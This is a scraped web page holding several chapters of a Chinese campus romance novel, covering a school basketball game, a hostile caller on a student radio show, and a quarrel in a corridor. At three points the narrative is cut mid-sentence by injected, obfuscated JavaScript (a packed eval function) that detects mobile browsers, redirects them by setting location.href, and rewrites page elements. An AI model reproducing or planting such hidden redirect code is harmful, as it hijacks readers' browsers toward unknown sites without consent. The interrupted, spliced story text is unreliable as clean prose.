d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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再次发球，于支扬持球被三人围堵，隔空与侧方沈通交换了一个眼神，随后一个假动作急停。 “沈通！接着！” 被夏注拦在半截的夏加林怒吼：“防沈通！防沈通啊！我靠了！这么大声没听见吗？一班于支扬真TM狗！” 来不及了，沈通接球，后撤一步，腾空而起，球在篮筐上颠了两下，顺利入筐！ “芜湖！沈通麻麻爱你！沈通yyds！” “好牛，窝趣……一班这群人都这么深藏不露的吗……” 观众席上惊起一片鸥鹭，四面八方传来此起彼伏的尖叫和跺脚声。 夏加林率先接球从右翼切入，被前方突然冒出的夏注吓了一跳，哨响，球没进。 场边记分台的老式翻分牌随着“啪嗒”一声，体育老师大声宣布： “升华一班胜出！” 场上一片哗然，夏注蹦起来跟于支扬、杨宝儿击了个掌。轮到苗渔时，苗渔腼腆地回绝了，轮到沈通时，沈通顶着他那张面瘫扶了扶眼镜，没理她。 夏注没当回事，回到观众席翻自己的水杯，有几个不认识的其他班女生占了她的位置，聊天聊得火热： “看吧看吧，我就知道人家一班有压轴的，于支扬和沈通，苗渔和杨宝儿这几个一上场，还有别人什么事儿啊……” 夏注默默取了自己的水杯，随便找个空位坐下，又听她们继续： “哦，我差点忘了，往年跟其他学校打联谊赛，不就是他们几个带队吗？” “是嘞，对了，今年还打不打？” “不知道，去年跟二中那场，不是输了嘛……” 15.15带上这憨包一起 周五晚饭后还有四节晚自习，比赛一结束，前来观赛的学生很快就散开了。 这个点学校食堂正人挤人，夏注感觉还不饿，就在观众席上坐着休息了一会儿，然后下去帮忙收拾体育器材。 于支扬和夏加林站在场外说话，于支扬双手抱臂懒洋洋靠着栏杆，时不时开口说两句。然后他一摇头，夏加林就气得原地转圈。 夏注觉得十分新奇，借着收器材名义，靠过去一听，好像是在说什么“联谊赛名额”的字眼。 她抱着手里的锥形桶掂了掂，于支扬突然抬头看向她，夏加林的视线也跟着一起扫过来。 “夏注！” 熟悉的怒吼声陡然在耳边炸开，夏注刚一转身，就感觉自己后脖领子被人重重提溜起来。 “好哇夏注！你个叛徒，刚才你们班……就你们班的那个战术，是不是你定的？还有今天早上的十三个闹钟！真TM狗到家了……” 夏注微不可查地叹出一口气，看见远处于支扬偏着头，脸上挂着不怀好意的微笑，等着看兄妹俩翻旧账。 于是她举着手里的锥形桶戳戳夏加林，小声威胁道：“松手，否则再也不帮你抽卡了……” “我跟你讲就你今天干的这事……夏注，你让我丢了这么大的脸，起码抽卡十次才能扯平！” “成交。” 夏注腾出一只手比OK，夏加林瞪了她一眼，顺势松手。他回头冲着于支扬道：“算了，多出来的那个名额，给你们班也行，到时候别拖后腿啊！” “你想多了，一班什么时候拖过后腿？”于支扬道。 夏加林小声冷哼，弯腰捡起篮球，朝食堂方向走了。 “什么名额？” 夏注一路小跑到于支扬身边，三两下把收来的锥形桶叠好。一回头见于支扬靠在栏杆上，眼睛看向别处，压根不理她。 “于支扬？刚才是你在咳嗽吗？” “没有，关你什么事？” 于支扬两手插在衣兜里，外套拉链拉得严严实实。一场球赛刚刚结束，夕阳从球场上方滑落至教学楼后面，橘黄色光芒折射在他身上，看起来整个人恹恹的…… 夏注打量着他，总觉得今天的于支扬跟其他同学格格不入，可能是刚才打球的时候，全场就他一个人穿了外套。 这种时候好像应该问候点什么，或者实际行动表现一下。 “于支扬，你在cos粽子吗？” 于支扬：“……” “对了，或者你要不要喝水？我给你倒？” 于支扬只是用看傻子的眼神看了她一眼，可能是心情不佳吧，难听的话最后也没骂出口。 他最后摆摆手，“不用，我有事要先走了，既然你闲得慌，那我给你派件事……” “我不是这个意思……”夏注喃喃。 于支扬明显不愿意多听，开口冲远处大喊：“杨宝儿！过来！” “干嘛呀？老娘忙着呢！” 杨宝儿丢下手里的收纳篮，嘴里骂骂咧咧，却还是毫无怠慢的很快过来了，等她靠近一些，于支扬吩咐道：“我要先走了，你负责收一下器材，收齐之后搬回原位，不要遗漏。” 杨宝儿：“OKOK！” 于支扬指着夏注：“顺便带上这憨包一起搬，她刚好闲着。” 说谁憨包…… 夏注站在他侧后方，举起一只拳头，冲他脑袋挥去一套假动作…… 于支扬似乎有所感应，突然回过头来，皱眉道：“瞪什么瞪？我是叫你跟她去认认路！下次再找不到体育器材室，我可不去接你了啊！” “嗯嗯嗯，我知道了……”夏注秒怂，连连点头。 于支扬见她一脸老实的模样，似乎终于放下心来，单手抓起书包头也不回地离开了。 夏注目送他的背影消失在格桑花拐角处，半晌后才开口：“这也不是食堂的方向啊，他要去哪儿？” “去电台室呗。” 杨宝儿重新提起收纳篮，夏注赶忙跟着一起捡，两人开始闲聊：“于支扬一般每个星期的这节课，都提前去吃饭的，今天要不是上场打球，也不会赶不上……” “为什么要提前吃饭？”夏注问。 “因为他六点钟有直播啊！” 杨宝儿怪异地回头看她，“你脑子混乱啦？不是你上上周还趁他直播表白来着？跟唱戏一样，那场面……” 回忆起那一期的电台直播，杨宝儿下意识抖落一身鸡皮疙瘩，冲夏注竖起大拇指：“你牛逼，我们全班一致认为你是真牛逼！真敢说啊，社交恐怖/分子吧姐？有这胆量做什么都会成功的……” 夏注尴尬地捂住脸，轻咳两声，“没有没有，于支扬也挺敢的……” “他有什么不敢？人家是宣传部长，有特权嘛，这节体育课还是专门给他排的呢……” 杨宝儿把最后一个球扔进框里，示意夏注提起另一边提手，两人一起朝着器材室走。中途杨宝儿闹着休息了三次，罢工了一次，最后好不容易到器材室门口，又险些迎面撞上从器材室出来的窦菲。 窦菲看见夏注时，脸色闪过一瞬的震惊，帮忙扶了一把，问她为什么在这？ 夏注只当成是问候的话，随口回复说，是于支扬派她俩来还器材。窦菲一听，又板着脸骂于支扬霸凌新人之类，骂完气冲冲走了。 杨宝儿从夏注身后探出头来，一脸仿佛见了奇葩、不吐不快的眼神：“你朋友啊？” “不熟。”夏注如实答。 “神经病吧，我们班收器材这种小事，本来就是男生一次女生一次轮着来的，正常内务而已，怎么就霸凌你了？还连我一起？这话也太难听了……” 两人进门放置好器材，杨宝儿一屁股坐在软垫上继续分析，“不是……你这朋友到底什么意思啊？她是不是跟于支扬有什么仇？我总感觉她刚才每一句话都不对劲……” “哪里不对劲？” “她一直在拉踩啊！” 杨宝儿一把拽着夏注隔壁拉她一起坐下来，掰着手指头开始回顾：“你看……她刚才骂了于支扬八句，把沈通搬出来夸了四句，期间说了五遍，叫你离于支扬远一点……不是，为什么呀？虽然我也知道我家沈通宝贝很优秀，但没必要拿出来拉踩别人吧？这成什么了……” 夏注瞳孔微微放大，听着杨宝儿滔滔不绝，颇为震惊：“啊，你记得这么清楚……” 这就是一班随便一个学生都能封神的水平吗？太TM边台了……这种超乎常人的记忆力是人人都有吗还是少数…… 夏注思维岔了一瞬，突然想起前几天刷到过一条略微夸张的回复：大概是于支扬记忆超强，人脑堪比计算机，直播有问必答之类的夸张用词云云…… “诶夏注你体力也太好了吧！搬这么多东西气也不带喘的……” 片刻后，杨宝儿的声音将她拉回，夏注冲她笑笑：“啊，可能是锻炼得多吧。” — 下午六点差十分，夏注到食堂买了一份牛肉饭，找到空位坐下后戴好耳机，准备收听于支扬的电台直播。 为了方便收集数据，她还专门买了一个小本子随身携带。 ［各位同学下午好，这里是昌A一中学生电台。］ 广播里的于支扬声音在六点准时响起，［我是今天的节目主持人，A6升华一班，于支扬。］ 夏注戴着耳机低头干饭，隐约察觉到周围一片躁动，周围开始有人掏出手机准备拨打电话。 “哇哇哇于支扬这周的节目开始了！我带了手机，打不打电话？”窗口那边排队的人群里有人问。 “我我我！接通了我来！” “还是算了吧，我上次被他狠狠怼了一顿，为啥非要找虐呢……” “那是你活该！不是你先捉弄他的么，谁家好人一上来就问洗澡要不要光着身子这种神经话题啊哈哈哈哈哈！！” “……” 夏注静静听着，然后腾出一只手，在小本子上写下一段话，再继续埋头干饭。 直播正进行到故事分享环节，于支扬的声音不紧不慢，清澈温和，讲故事的声调抑扬顿挫，娓娓道来……的确是一副能轻易令人沉醉其中的迷人声线。 听着这样的嗓音吃饭，夏注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16013989|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉自己胃口大好，又起身去舀了一碗肉汤。 ［好了，今天的故事分享到此结束，接下来进入热线接听环节。］ ［互动问答时间为十五分钟，每个电话不超过一分钟，欢迎各位老师和同学来电。］ “哒——” ［接下来接听今天第一位听众来电。］ 广播里的来电提示音响停，夏注的耳机略有延迟，空挡期间听见周围传来一片的叹息声。 ［喂，你好。］ “喔喔！电话通了！”声音的源头不是耳机，而是距离夏注不远处隔了三排的座位上。“我抢到于支扬的热线电话了！” 四周视线一下子扫过去，夏注也跟着抬头看，是个套着崭新校服衬衫的圆脸男生。 男生的声音在广播里响起，简单介绍了一下自己的班级和姓名，然后就是一股脑分享自己发自内心对偶像的崇敬之情。 附近有人小声道：“诶，这个不好玩……这一看就年纪还小，新生一般都不太敢捉弄学长……” 圆脸学弟可能第一次被人围观着当众发言，一句话说得磕磕巴巴颠三倒四。 ［你不用紧张。］ 于支扬突然出声安抚，夏注微微眯眼，心想果然端得一副身为学长的从容稳重，这人认真起来还真像那么回事。 “是……那个学长，我听说下个月，跟二中一年一度的联谊赛要到了，那个，我想……我想问一下，新生能参赛吗？我听说今年是你带队，所以……” ［抱歉，新生和本年高考生无法参与。新生入学太短，备考生忙于学习，都不适合参加比赛，这是教务处的规定，我没有权利修改。］ 顿了顿，于支扬继续道：［不过也别灰心，明年的机会都是你们的！］ “好的好的！学长你们一定要拿冠军回来啊？谢谢学长！” 于支扬：［会的，等着我们的好消息吧。］ “对了学长，我还有一个私人问题，可以问吗？” 提到“私人”两字，不止食堂排队的，吃饭的，就连路过的食堂阿姨都愣了一下，无数道目光齐刷刷看过去。 以为又要问什么惊世骇俗的爆炸话题，或者小学弟突然开窍了打算开个玩笑收尾，结果他话锋一转，擦着汗小心翼翼问： “我妈下个星期要过生日了，我想问问学长，就是……你平时一般都给你妈妈送什么礼物啊？……” 周遭传来一片失落的叹息。 夏注环顾一圈，不太理解。 耳机里停顿了十多秒，迟迟没有回应。夏注以为自己耳机又延迟了，摘下耳机拍打了两下，发现不是耳机的问题。 又过了几秒，广播里终于传来于支扬的回复：［抱歉，这个我没法给你建议。］ ［我妈很多年前就去世了，家里也没有其他女性长辈。］ ［不过送礼物嘛，尽量投其所好就可以。］ 食堂里的空气停滞了片刻。 夏注舀汤的姿势一顿，然后放下汤匙，提笔在小本子上又写了几个字。 不远处那个学弟“蹭”一下站起来，又是鞠躬又是道歉，尽管于支扬压根不在这里。 “啊！对不起对不起学长我不是故意的……我，我没有其他问题了！学长再见！”说完迅速挂断了电话。 广播里于支扬回复道：［没关系，期待你的下一次来电。］ 而后连线铃声源源不断响起，于支扬一连接通了四、五个通话，连线内容又恢复了往日活跃幽默的话题，气氛逐渐欢快。 随着最后一个电话接通，夏注这边也吃饱喝足，打算起身返回教室。 嘟—— 最后一个来电被接通。 ［喂你好，我是于支扬。］ “于支扬，在校随意霸凌同学属于违法乱纪行为，请问你就是这样的家教吗？” ［……］ 夏注：“？！” 夏注脚步一顿，感觉被一股力量硬生生定在原地，她不可置信的摘掉耳机，竖起耳朵去听食堂广播里的声音。 窦菲？这个声音是窦菲吗？她在说什么鬼？ 16.16直播霸凌指控？ “诶？什么情况？这是新出的节目效果吗？” “什么校园霸凌？谁会开这种玩笑来搞气氛？有大病吧……” “什么意思？于支扬霸凌谁了？” 发现附近已经有人质疑，夏注迅速翻开列表，颤抖着手给窦菲打去电话，一连拨出三次，对方一直显示通话中…… 夏注一脸懵逼：这又是唱的哪一出？！ 在于支扬刚提到母亲去世之后，反问对方家教如此？这合适吗？替朋友出头也不是这个出头法，何况根本就没有的事！ 她跟窦菲总共没见过几次面，甚至都不算熟，不熟！实话！怎么就到了义愤填膺挺身而出的地步了？ 夏注突然有些后悔，刚才在器材室门口，她为什么要跟窦菲提到于支扬的名字…… 人声喧杂，唯有于支扬的背景音幽静一片。清凉封闭的电台室里，于支扬微微坐直身子，两手交叉搭在桌子上，哂笑道： ［什么家教？我看阁下阴阳怪气的症状，请问是否患有先天性素质缺陷？］ 那语调淡然平静，完全听不出一个常人遇到恶言恶语刀剑相向时，该有的茫然和失措，从容得就好像无数次经历过一样。 夏注不禁凝神屏息，想听于支扬接下来要如何应对。 来电那人也不示弱，沉声道：“果然成绩和人品不能相提并论，从一开始根就坏掉的垃圾，不管再过多少年，也还是垃圾。一如既往的惹人作呕！” “砰！” 骂的这么难听，饶是反应再慢的人，此时也回过味来了，霸凌一事未必是真，喷子贴脸开大倒是板上钉钉。 夏注旁边迅速有人拍案而起：“这人神经病啊？这到底是谁在霸凌谁啊？！” “笑死，于支扬掀她家十八代祖坟了，还是屠她满门了？说话太歹毒了吧哈哈哈哈！” “虽然但是，大庭广众之下恶言恶语攻击主持人，还有没有人管了？我怎么觉得于支扬才像受害者……” “这人哪个班的啊？怎么疯狗乱咬？” “……” 夏注一阵头皮发麻，紧攥着裙摆的手心很快沁出汗来，心里焦虑不已，心想这都出了节目事故了，于支扬怎么还不闭麦？ 广播里，于支扬声线稳定，条理清晰地列出一段话：［一中反霸凌举报电话是xxxxx，时间、地点、证据、图片、受害者是谁？证人是谁？举报的时候，请精确到细节，谢谢。］ ［啊，对了，最后请报一下你的班级和姓名，最好也精确到班级门牌号，谢谢。］ 这是在教对方如何举报自己。 夏注眉角轻轻垂落，心底闪过一抹说不清的情绪。 很快，旁边有人开始响应号召，从包里翻出一本宣传手册，大喊道：“来来来！看一看！传一传！大家都了解一下咱们学校的相关反霸凌措施，举报电话一定要记住啊！” “亲爱的同学们，让我们一起努力，把学校变成我们安全的港湾！安全处对此类事件，绝对0容忍！” “最后，感谢我们于支扬部长的倾情配合！” 是个剪着短碎发的瘦高个男生，看着十分机灵活泼，仅用三两句话，成功调动周围气氛，众人开始莫名其妙跟着鼓掌。 然后众目睽睽之下，他还真从包里翻出一沓宣传单，轮流着挨个递。 夏注也被硬塞了一张A4彩印纸，上面赫然写着十个大字：诈骗是病毒，害人又害己。 夏注：“……” 附近有人拿着反诈宣传单扇风，感叹道：“哎呦我的天，看看，你们宣传部的烧操作简直无孔不入，果然于支扬上梁不正你们下梁歪～” 食堂里的风向开始跑偏，大家开始七嘴八舌，控诉起宣传部那些奇奇怪怪的植入，短碎发男生被一窝蜂人追着，一路又跑又笑…… 而另一边，于支扬与那位“神秘听众”的连线还在紧张对峙中。 “看来你是不打算承认了？”电话那头气音急促，情绪初现烦躁。 于支扬：［我也想认啊，可你的指控都不成立，我怎么按流程走下一步？］ “你应该向那个女同学公开道歉！从今往后离她越远越好！” ［哦？哪个女同学？］ 电台室里，于支扬靠在宽大柔软的皮质转椅上，抵着桌脚稍微后退一点，随手拉开抽屉，从里面翻出一盒感冒颗粒。 电话那头传来滋滋电流音，窦菲似乎在犹豫。 于支扬一边撕开包装袋，一边凑近麦克风，催促道：［快点啊，编好你的‘无中生友’了吗？我冒昧问一下啊，你替她出头的那位……好朋友，是不是跟你一样天生患有素质缺陷，外加五星级被迫害妄想症？］ “于支扬，你欺人太甚！你凭什么这么说她，你对她做的那些事，这辈子都还不清！” ［还不清就不还呗，你急什么？］ 于支扬加速晃动手中的玻璃杯融化药剂，放到旁边待凉。 他单手摘下耳机，扯动桌子上的连接线，在手心绕了两圈，幽幽道： ［对了，顺便请你转告她一句：莫挨劳资，屁事没有。］ “嘟——” 不知是谁率先挂断了电话，广播里响起持续不断的噪点杂音。 夏注在最后一刻，下意识用手捂住耳朵，感觉手脚一阵冰凉，仿佛滚滚江水突然被巨石挡住去路，死水堆积无处宣泄。 他知道了，他什么都知道！ 于支扬刚才的最后一句话，明显是借着回怼他人恶意的同时，也在警告夏注，离他远一点。 他明明无数次说过这样的话，但从来没有一次，让夏注觉得这句话如此认真过。 夏注第一次真正意识到，于支扬可能真的，真的，很讨厌她…… 食堂里短暂的打闹很快散去，夏注站在原地久久没有动作，手里攥着刚才被硬塞的A4宣传单，指甲几乎陷进肉里。 说不清是应该难过还是愤怒，那种感受，就好像被一盆冰水从头浇到尾，她觉得自己很失败。 任务做得很失败，对紧急情况的掌控力很失败，这么久以来小心翼翼的讨好…也很失败…… “夏注……” 有个声音在耳边温声唤她，“你该对自己有些耐心。” “从弱根野草到苍天巨树，需要历经泥泞、狂风和无数场雷暴。可碧珠苦瓜获知生长的规律和奥秘，只需一场洗刷迷障的清雨……” “这场雨来的，恰逢其时。” 瓷碗碰撞的声音近了又远，夏注闭上眼睛，深深呼出一口气，重复两次后，背上自己的包转身离开。 食堂门口的广播声音外放，于支扬的直播还在继续： ［刚才只是一点小插曲而已，各位老师同学不必在意。］ ［哦，我想起来了，我好像是干过霸凌这么回事儿……昨天路过C区教学楼下的时候，我看见水池子里有两只乌龟，非要贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16022224|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一块游，结果三番五次地撞石头。我就把其中一只捞出来放进A区的水池子了，临走前还给它翻了个面，龟壳朝下转圈圈玩。］ ［啊，我错了，我应该忏悔，小乌龟有什么错呢，它只是眼瞎，找错了‘好朋友’～］ 夏注：“……” 感觉于支扬在内涵，但她没有证据。 - 夏注返回教学楼下时，于支扬的直播刚好结束，她一路走到六楼三班门口，朝里面环顾一圈，最后敲了敲门。 “请问你们班窦菲不在吗？去哪能找到她？” 数十道陌生视线朝她看过来，教室角落里，有一小窝正在聊天的看了她一眼，又迅速偏过头去，神色极度不自然。 “不在，不知道。” 夏注神情严肃得吓人：“那麻烦转告她，看见手机信息回一下，谢谢。” 说完，头也不回地转身回自己班教室了。 刚坐下没一会儿，晚自习铃声准时响起，于支扬迟到了两分钟才回到教室，进门时，夏注注意到他里面已经换回了校服衬衫，但还穿着体育课上那件外套。 于支扬黑沉着脸进门，一阵风似的刮回自己座位，路过夏注时，更是一个眼神也没给。对周围熟人的小声问询，也是充耳不闻。 无非就是问些刚才直播的事，虽然于支扬最后讲了那个乌龟玩笑话，算是翻篇了，但明眼人都看的出来，这就是事故。 于支扬坐下后，教室里骚动了片刻，就连苗渔也频频回头。 夏注感觉心里沉甸甸的，如坐针毡，像是有块疙瘩正一下一下往深处刺。 后排今天晚上安静得过分，大概是因为没人调动氛围，今天的晚自习也格外难熬。 最后一节晚自习，于支扬上讲台坐班，路过夏注的课桌时，夏注本能地想拉住他，身体却像被定住一样，最后也没动作。 于支扬越是沉默，她就越是不敢轻举妄动。 她觉得自己最起码应该解释一下，或者道个歉什么的……但转念一想，又觉得这个想法有些莫名其妙。 为什么要道歉呢？她只是听从指派去还器材，只是如实回复了窦菲的疑问，只是吃饭时听了场直播，鬼知道哪一步错了？她从始至终没有半点破坏直播、对付于支扬的意思，到底该为什么而道歉？ 于支扬阴沉着脸在台上坐班，整个教室冷寂一片，众人低着头安安静静刷试卷，就连呼吸都放轻少许，生怕跟于支扬对视上。 临近半节课，付少校抱着试卷上去问压轴题，众人纷纷替他捏了一把汗。 “这组题目超纲了，你确定要听？” 结果出乎意料，于支扬并没有发脾气，简单扫了一眼题目，接过铅笔一通画画圈圈，然后就开始给他讲起题目，态度一如往常。 这一开头，紧接着不断有人拿着书本上去，直到放学铃声响起。 夏注收拾好书包，路过讲台时，朝被围在人堆里的于支扬看了一眼，抬脚走出教室。 “夏注，你怎么还不走？等谁啊？” 走廊上，付少校的声音从身后传来，夏注一边撕开包装袋，一边把面包塞进嘴里，声音闷闷的：“如果是……等于支扬的话，我劝你今晚最好别惹他……” “他心情不好的时候……嚼嚼嚼……后果很严重的……嚼嚼嚼……知道吧？” 夏注：“……” 道理都懂，但她就是想试试，能不能把人哄好…… 17.17这只羊哄不好了 这一等就是二十分钟。 夏注站在走廊上，看着最后一个同学走远，教室里灯还亮着。 她走到窗户踮起脚尖朝里边看，见于支扬正在讲台上擦黑板，动作慢条斯理的，擦完正面后，还饶有耐心地把侧边隔板也擦了一遍。 整个教室归于冷清，于支扬支撑在讲台边缘，一个人站在灯光下，静静地站着。白日里的喧哗和冲突，似乎在此刻消逝于脚下一团小小的影子里。 夏注心里微动，隔着一层玻璃去看那道背影，不知怎的，总看成一只下雨天里耷拉着耳朵，垂头丧气的可怜猫猫…… 她下意识放缓了呼吸，顺着墙壁蹲下，心里酝酿着待会儿要说的话。 于支扬很快就收拾东西，熄灯，推门出来了。 “于支扬！”夏注起身叫他。 大概是没料到还有人蹲在门外，于支扬手上动作有一刹那的停滞，看清是夏注后，只淡淡扫她一眼，垂眸继续锁门。 夏注把手背在身后轻轻摩挲，有些局促，她小心翼翼观察着于支扬的脸色，“对不起”三个字正要脱口而出…… 于支扬锁好门，钥匙顺手揣进兜里，另一只手把单肩包甩到背上，转身就走，越走越快，头也不回。 一个眼神也没停留！夏注一愣神，人就已经迈着那双大长腿走出一大截！她赶紧跟在后面追上去。 “等等！于支扬你等等！” 夏注一个前扑，只来得及抓住于支扬的一边袖口，谁知那料子的主人滑不溜秋，轻轻一甩就挣脱了！ 于支扬甩开了她。 这么大脾气？ 他停下脚步，侧首看了一眼自己袖子，扫过夏注的眼神里，泛着森森警告，明明一句话也没有，夏注仍旧感觉一阵头皮发麻。 就好像一座洁白雪山近在咫尺，被闯入者冒犯之后瞬间天塌地陷，雪崩裹挟着可怕的寒意迎面涌来……夏注不禁后退了一步。 见于支扬又要走，夏注肢体反应比脑子更快，她再次冲过去，一把拽住对方的胳膊，紧紧扣住不松手。 于支扬“啧”一声，又要甩她，她就两只手并用，就是不让于支扬把手从兜里抽出来。 两人相互较劲，夏注借力绕到于支扬面前，用身体挡住去路，质问：“你干嘛一见我就躲？你见不得人？” “让开。” “不让！” 于支扬一发力，硬生生挣开桎梏把左手从兜里抽出来，夏注踉跄两步，感觉两只手开始控制不住地发抖…… “你怎么了？” “滚。” 夏注摊开双手拦在他面前：“你到底怎么了？你今晚就是不对劲！” 于支扬呼吸变得急促，身体缓缓前倾，一字一句道：“我好得很！你要是从今往后不再出现，我想我会更好。” 夏注唇角微阖，看着于支扬的脸一点一点凑近，一句话也说不出来。 太近了，温热的呼吸洒在她的脸上，她甚至能看清于支扬眼底愠怒的血丝，眉角的律动，以及每一个转瞬即逝的微表情…… 夏注看了两秒，突然用两只手捧住他的脸，手心发力，低下一寸，与她平视。 “？！” 于支扬瞳孔骤然收缩，忘记了动作。 夏注一双真挚漂亮的眸子，就这样闯进他的眼底。 走廊外吹来一阵凉风，仿佛一下子卷走了积聚已久的闷热与烦躁。忽明忽暗的月光下，夏注白皙明艳的面容，眉心微蹙，脸上藏不住的焦虑和急促，每一缕情绪都是因为他。 “别动！” 于支扬茫然地眨了眨眼睛，轻轻一偏头，夏注立刻使力，强行把他的脸掰正，面向自己。 “转过来，听好！” 夏注看着他，神情是从未有过的坚定。长发微动，女孩子身上芳香好闻的味道随着晚风一齐钻入鼻息。 于支扬的目光被强制落在夏注脸上，心脏砰砰直跳，一时间忘记了挣扎…… 他听见夏注深吸一口气，语气认真：“今天的事，我欠你一个道歉。抨击你的那个人，的确是替我出头，但是她误会了，这件事也不是我授意的……” “还有以前，也是我错了，我不该冒充你女朋友，不该在你直播时表白，给你捣乱，我不该胡言乱语，我还到处造谣……” “对不起……” 于支扬：“……” 夏注捧着他的脸与他对视：“如果我说，我以前就是脑子抽风，玩笑开过头，给你添麻烦了，你能原谅我吗？” 又是开玩笑！ “别碰我！” 于支扬眼神一凛，突然开始扑腾挣扎，一爪子拍开夏注的手，嫌恶地靠边擦自己脸，一边啧啧啧：“不喜欢就别来招惹！懂不懂规矩啊？！” 夏注：“？” “不是…我听说你在电台经常被听众表白的啊，大家都是开开玩笑，你别当真就行了。那怎么，你当时还挂了我的电话呢……你是不是玩不起？” 于支扬：“你，你道歉还顶嘴？” 夏注：“我没有。” 于支扬：“你就有！” 这下轮到夏注不乐意了：“你能不能别无理取闹？我这次是真心道歉的，你还翻旧账……人人都能在你节目里开玩笑，怎么就我不行？你还就针对我一个人翻旧账？” 于支扬：“你自己有多烦你不知道？我一看见你就浑身难受！” “那你还挂我电话了！你还想把我赶出一班呢，咱俩该扯平了！” “扯平？” 于支扬像是听见什么天大的笑话，低垂着眸子冷笑出声，摇了摇头。 她这下是真糊涂了，搞不懂于支扬到底又发什么神经，该道歉也道了，今天的事也解释清楚了，于支扬到底是原谅还是不原谅？ 夏注一连后退几步，被于支扬逼到了墙角，宽大的阴影投落在她身上。 两人目光对峙间，于支扬眸底的血丝又多了几分，隐隐有些控制不住压抑的气音：“夏注，我就问一句，你到底能不能听懂人话？” “我越烦你，你越要往上凑？？你到底有没有礼义廉耻这种东西？你知不知道你就是个大麻烦！” “你不管靠近谁，都会给人带来源源不断的麻烦！今天是这样，以后也会是这样，在我这永远也过不去！” 夏注怔怔看着他，有些不可置信道：“于支扬，你怎么说话呢？” “我说你就是个麻烦！我拜托你有多远滚多远你听不懂？” 于支扬抬高音量，重复了一遍。 夏注一动不动看着他，眸色缓缓暗沉下去，忽然挥出一拳重重砸在于支扬脸上。 于支扬毫无防备，被打得一个趔蹴，险些站不稳，夏注三两步上前，朝他鞋上重重踩下一脚，于支扬忍不住嗷了一声，再抬起头，只见夏注头也不回的后背。 “你，你走了就别回来，有你这么道歉的吗？” 于支扬朝远处大吼，谁料那背影走的更快了。 “夏注！” 夏注拐弯下楼，彻底没影了。 — 玄关处传来重重一声关门声，夏加林手里的锅铲险些没拿稳。 夏注的身影贴着厨房墙壁一闪而过，径直走向客厅，把书包朝沙发上一扔，自己站在桌边倒水喝。 咕咚咕咚，第二杯，第三杯…… 夏加林把门推开一条缝，探出脑袋，见夏注一口气喝了四、五杯水，“这么急？你屁股着火了还是被鬼追？半夜三更的发什么神经？” 他似乎觉得把平日里夏注批评他的话还击回去这件事，十分扬眉吐气，骂完后还颠颠锅铲子，细细回味了一下。 夏注压根没发现到她哥那别别扭扭的报复心，喝完水豪迈地往沙发上一坐，“都是于支扬那个王八蛋！” “他说我是个大麻烦说我没有礼义廉耻！md我又不是病毒，怎么就叫他浑身难受了？都是给他惯的！” “这个狗东西！我真心实意跟他道歉他居然敢这么说我？他的心是石头做的吗捂都捂不热，又臭又硬……” 夏加林见状，赶紧把脑袋缩回去。 根据他以往的经验来看，夏注在客厅砰砰拍桌子、叽里呱啦骂一大堆时，只是在宣泄情绪。这种时候不需要插嘴，不需要发表意见，更不能反驳她……不然会挨打。 夏加林左耳进右耳出，听得云里雾里，他小声哼着歌，把冷菜汤烧开，又重新加了水和佐料。 又过了一会，一首歌哼完，客厅那边也没声了。 心里正纳闷呢，他刚提着大漏勺一转身，就看见夏注神出鬼没的，正立在厨房门口看他，眼神阴沉沉的…… 夏加林整个身体肉眼可见地颤抖了一下。 “靠，你站着干啥？走路怎么一点动静都没有，想吓死老子然后继承老子的家产啊？” “如果你指的是你藏在电脑桌垫下的那二十五块五毛一，和你那菜的要死的游戏账号的话，我没什么兴趣。” 夏注说。 夏注这时候的火气明显已经发泄完了，她蔫蔫地靠在门边，看着心情不太好。 “你在干嘛？” 她勾起下巴，意有所指。 “煮面条呗。” 夏加林低头看了一眼漏勺里的东西，想了想，又干巴巴加了一句：“那什么，你要不要来一碗？” 说完他就后悔了。因为夏注是真不客气，把他全部的面条连汤带汁一块全端走了，还跟个大爷似的，躺着沙发上等着接筷子，不给筷子就不动。 夏加林就偏不给她送，夏注在客厅嚎了半天，第二碗面条也出锅了。 于是百年难遇的场面出现了，兄妹俩凌晨十一点，一起坐在客厅里嗦面条。 事实证明夏注高估了她哥的厨艺，那碗面条半生不熟的死感，过重的花椒味直冲天灵盖，食用盐跟不要钱似的放，差点没把她送走…… 夏加林本人吃得津津有味，一边嗦一边闲聊，话题还是他那游戏：“真TM见鬼，为什么你每次都能抽到顶级武器和战神？你是不是背着我开了什么外挂？你教教我？” “没有，我运气好不行吗？” 夏注吃两口就放了下筷子，感觉没什么胃口了。 “运气再好，也不能好成这样啊……”夏加林起身打开冰箱，拿出两瓶可乐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16033631|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “砰！” 